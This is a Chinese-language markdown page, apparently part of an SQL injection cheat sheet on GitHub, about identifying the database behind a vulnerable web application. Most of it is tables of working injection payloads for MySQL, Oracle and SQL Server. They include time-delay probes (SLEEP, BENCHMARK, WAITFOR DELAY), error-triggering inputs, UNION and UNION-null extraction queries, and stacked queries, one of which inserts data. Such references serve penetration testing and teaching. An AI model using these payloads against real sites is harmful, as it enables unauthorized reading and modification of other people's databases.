Skip to content

Latest commit

 

History

History
103 lines (54 loc) · 4.5 KB

dbmsIdentification.md

File metadata and controls

103 lines (54 loc) · 4.5 KB

DBMS识别 {docsify-ignore-all}

检测正在使用的数据库管理系统(DBMS)对于进一步利用注入来说至关重要。没有这些知识,就无法确定要查询的表,内置的函数以及要避免的检测。下面查询的成功响应表明正在使用所选的DBMS.

注意:注释字符 -- 放置在查询后面,以删除查询后面的任何命令,有助于防止出现错误。

MySQL

描述 语句
SLEEP page.php?id=1'-SLEEP(1)=0 LIMIT 1 --
BENCHMARK page.php?id=1'-BENCHMARK(5000000, ENCODE('Slow Down','by 5 seconds'))=0 LIMIT 1 --
字符串连接 page.php?id=' 'mysql' --
错误消息
注意:通过无效语法触发数据库错误
有时会返回包含DBMS名称的详细错误消息。
page.php?id='
一般提示

PHP应用程序通常具有MySQL数据库。

将查询转换为注入

既然已经确定了注入点,本指南的其余部分将包含完整的查询。使用以下方法将这些查询插入注入点。SELECT @@version将是示例查询。

描述 语句
联合查询 product.php?id=' UNION SELECT @@version --
联合子查询 product.php?id=' UNION (SELECT @@version) --
联合null
注意:如果原始查询返回多个列,
则添加null以等于列数
product.php?id=4 UNION SELECT @@version,null --
堆积式查询
注意:堆积式查询并不总是返回结果,
因此它们最适合用于更新/修改数据的注入。
product.php?id='; INSERT INTO 'docs' ('content') VALUES ((SELECT @@version)) --

Oracle

描述 语句
字符串连接 page.jsp?id='||'oracle' --
默认表 page.jsp?id='UNION SELECT 1 FROM v$version --
错误消息
注意:通过无效语法触发数据库错误
有时会返回包含DBMS名称的详细错误消息。
page.jsp?id='
一般提示

根据应用程序提供的错误,如果存在“ORA-XXXX”错误,其中每个X都是整数,则表示数据库是Oracle.

JSP应用程序通常具有Oracle数据库。

将查询转换为注入

既然已经确定了诸如点,本指南的其余部分将包含完整的查询。使用以下方法将这些查询插入注入点。SELECT banner FROM v$version将是示例查询。

描述 语句
联合查询 product.jsp?id=' UNION SELECT banner FROM v$version --
联合子查询 product.jsp?id=' UNION (SELECT banner FROM v$version) --
联合null
注意:如果原始查询返回多个列,
则添加null以等于列数-1
product.jsp?id=' UNION SELECT banner,null FROM v$version --

SQL Server

描述 语句
WAITFOR 函数 page.asp?id=';WAITFOR DELAY '00:00:10'; --
默认变量 page.asp?id=sql'; SELECT @@SERVERNAME --
错误消息
注意:通过无效语法触发数据库错误
有时会返回包含DBMS名称的详细错误消息。
page.asp?id='
错误消息
注意:如果id参数是整数,
则@@ SERVERNAME变量的字符串值可能导致转换错误。
page.asp?id=@@SERVERNAME
错误消息
注意:如果id参数是整数,
则@@ SERVERNAME变量的字符串值可能导致转换错误。
page.asp?id=0/@@SERVERNAME

一般提示

基于ASP / ASPX的应用程序一般都是MSSQL。

将查询转换为注入

既然已经确定了注入点,本指南的其余部分将包含完整的查询。使用以下方法将这些查询插入注入点。SELECT @@version将是示例查询。

描述 语句
联合查询 product.asp?id=' UNION SELECT @@version --
联合子查询 product.asp?id=' UNION (SELECT @@version) --
联合null
注意:如果原始查询返回多个列,
则添加null以等于列数
product.asp?id=' UNION (SELECT @@version,null) --
堆积式查询
注意:堆积式查询并不总是返回结果,
因此它们最适合用于更新/修改数据的注入。
product.asp?id='; SELECT @@version --